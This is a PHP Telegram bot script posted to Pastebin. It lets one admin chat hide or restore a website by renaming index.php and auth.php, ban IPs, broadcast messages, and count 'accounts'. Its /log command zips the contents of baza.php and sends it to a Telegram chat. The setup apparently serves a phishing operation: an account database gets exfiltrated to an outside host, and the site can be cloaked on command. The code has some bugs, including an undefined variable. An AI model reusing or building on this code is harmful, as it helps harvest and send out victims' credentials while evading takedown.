DenisMagic

бот тг

Jul 23rd, 2021
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.70 KB | None | 0 0
  1. <?php
  2. $data = file_get_contents('php://input');
  3. $data = json_decode($data, true);
  4.  
  5. define('TELEGRAM_TOKEN', 'токен');
  6.  
  7. define('TELEGRAM_CHATID', 'чат айди');
  8.  
  9. if (empty($data['message']['chat']['id'])) {
  10.     exit();
  11. }
  12.  
  13. function sendTelegram($method, $response)
  14. {
  15.     $ch = curl_init('https://api.telegram.org/bot' . TELEGRAM_TOKEN . '/' . $method);  
  16.     curl_setopt($ch, CURLOPT_POST, 1);  
  17.     curl_setopt($ch, CURLOPT_POSTFIELDS, $response);
  18.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  19.     curl_setopt($ch, CURLOPT_HEADER, false);
  20.     $res = curl_exec($ch);
  21.     curl_close($ch);
  22.  
  23.     return $res;
  24. }
  25.  
  26. if (!empty($data['message']['text'])) {
  27.     $text = $data['message']['text'];
  28.     $chat_id = $data["message"]["chat"]["id"];
  29.     $name = $data["message"]["from"]["username"];
  30.    
  31.     if (strpos(file_get_contents("users.txt"), "$chat_id") === FALSE)
  32.     {
  33.         $log = fopen("users.txt","at");
  34.         fwrite($log,"$chat_id \n");
  35.         fclose($log);
  36.         sendTelegram(
  37.             'sendMessage',
  38.             array(
  39.                 'chat_id' => TELEGRAM_CHATID,
  40.                 'text' => 'Пользователь: @' . $name . ' прожал /start'
  41.             )
  42.         );
  43.     }
  44.    
  45.     if($chat_id != '-1001283589833'){
  46.         sendTelegram(
  47.             'sendMessage',
  48.             array(
  49.                 'chat_id' => $chat_id,
  50.                 'text' => 'Ты кто ебаный рот?!'
  51.             )
  52.         );
  53.  
  54.         exit();
  55.         return;
  56.     }
  57.    
  58.     $keyboard = array(array("[Выключить сайт]","[включить сайт]","[Выгрузить логи]"));
  59.     $resp = array("keyboard" => $keyboard,"resize_keyboard" => true,"one_time_keyboard" => true);
  60.     $reply = json_encode($resp);
  61.  
  62.     if ($text == '/stop' || $text == 'Выключить сайт') {
  63.       rename("index.php", "228608.php");
  64.       rename("404.html", "index.html");
  65.       rename("auth.php", "12q.php");
  66.         sendTelegram(
  67.             'sendMessage',
  68.             array(
  69.                 'chat_id' => TELEGRAM_CHATID,
  70.                 'text' => 'Работа сайта прекращена!'
  71.             )
  72.         );
  73.  
  74.         exit();
  75.     }
  76.     if ($text == '/start' || $text == 'включить сайт') {
  77.       rename("index.html", "404.html");
  78.       rename("228608.php", "index.php");
  79.       rename("12q.php", "auth.php");
  80.         sendTelegram(
  81.             'sendMessage',
  82.             array(
  83.                 'chat_id' => TELEGRAM_CHATID,
  84.                 'text' => 'Снова можно работать!',
  85.                 'reply_markup' => $encodedMarkup
  86.             )
  87.         );
  88.  
  89.         exit();
  90.     }
  91.    
  92.     if ($text == '/log' || $text == 'Выгрузить логи') {
  93.         copy('baza.php', 'db.txt');
  94.         $files = fopen('db.txt', 'r');
  95.         $texts = fread($files, filesize('db.txt'));
  96.         fclose($files);
  97.         $files = fopen('db.txt', 'w');
  98.         fwrite($files, str_replace('<br>', '', $texts));
  99.         fclose($files);
  100.         $zip = new ZipArchive();
  101.         $zip->open(__DIR__ . '/db.zip', ZipArchive::CREATE|ZipArchive::OVERWRITE);
  102.         $zip->addFile(__DIR__ . '/db.txt');
  103.         $zip->close();
  104.         sendTelegram(
  105.             'sendDocument',
  106.             array(
  107.                 'chat_id' => TELEGRAM_CHATID,
  108.                 'document' => curl_file_create(__DIR__ . '/db.zip')
  109.             )
  110.         );
  111.         unlink('db.zip');
  112.         unlink('db.txt');
  113.         exit();
  114.     }
  115.    
  116.     if (mb_stripos($text, 'help') !== false) {
  117.         sendTelegram(
  118.            'sendMessage',
  119.             array(
  120.                 'chat_id' => TELEGRAM_CHATID,
  121.                 'text' => '❗️ Команды Администрации:  
  122.                 /help - Выводит команды бота  
  123.                 /stop - Отключает сайт  
  124.                 /start - Включает сайт  
  125.                 /log - Выгружает логи сайта  
  126.                 /alert <текст> - Рассылка всем кто прожимал старт
  127.                 /info - Информация о боте
  128.                 /ban <ip> - Запретить доступ определыннх ip к сайту'
  129.             )
  130.         );
  131.  
  132.         exit();
  133.     }
  134.    
  135.     if (mb_stripos($text, '/alert') !== false) {
  136.         $handle = fopen("users.txt", "r");
  137.         $txt = preg_replace('/^\/alert/', '', $text);
  138.         while (!feof($handle)) {
  139.             $buffer = fgets($handle, 4096);
  140.             sendTelegram(
  141.                'sendMessage',
  142.                 array(
  143.                     'chat_id' => $buffer,
  144.                     'text' => $txt
  145.                 )
  146.             );
  147.         }
  148.         fclose($handle);
  149.         exit();
  150.     }
  151.    
  152.     if ($text == '/info') {
  153.         $user = file("users.txt");
  154.         $account = file("baza.php");
  155.         sendTelegram(
  156.             'sendMessage',
  157.             array(
  158.                 'chat_id' => TELEGRAM_CHATID,
  159.                 'text' => 'Пользователей в боте: ' . count($user) . '
  160. Аккаунтов: ' . count($account) . ''
  161.             )
  162.         );
  163.  
  164.         exit();
  165.     }
  166.    
  167.     if (mb_stripos($text, '/ban') !== false) {
  168.         $ipban = preg_replace('/^\/ban /', '', $text);
  169.         $ban = fopen("ban.list","at");
  170.         fwrite($ban,"$ipban \n");
  171.         fclose($ban);
  172.         sendTelegram(
  173.             'sendMessage',
  174.             array(
  175.                 'chat_id' => TELEGRAM_CHATID,
  176.                 'text' => 'ip добавлен в черный список!'
  177.             )
  178.         );
  179.  
  180.         exit();
  181.     }
  182.    
  183. }
  184. ?>
Add Comment
Please, Sign In to add comment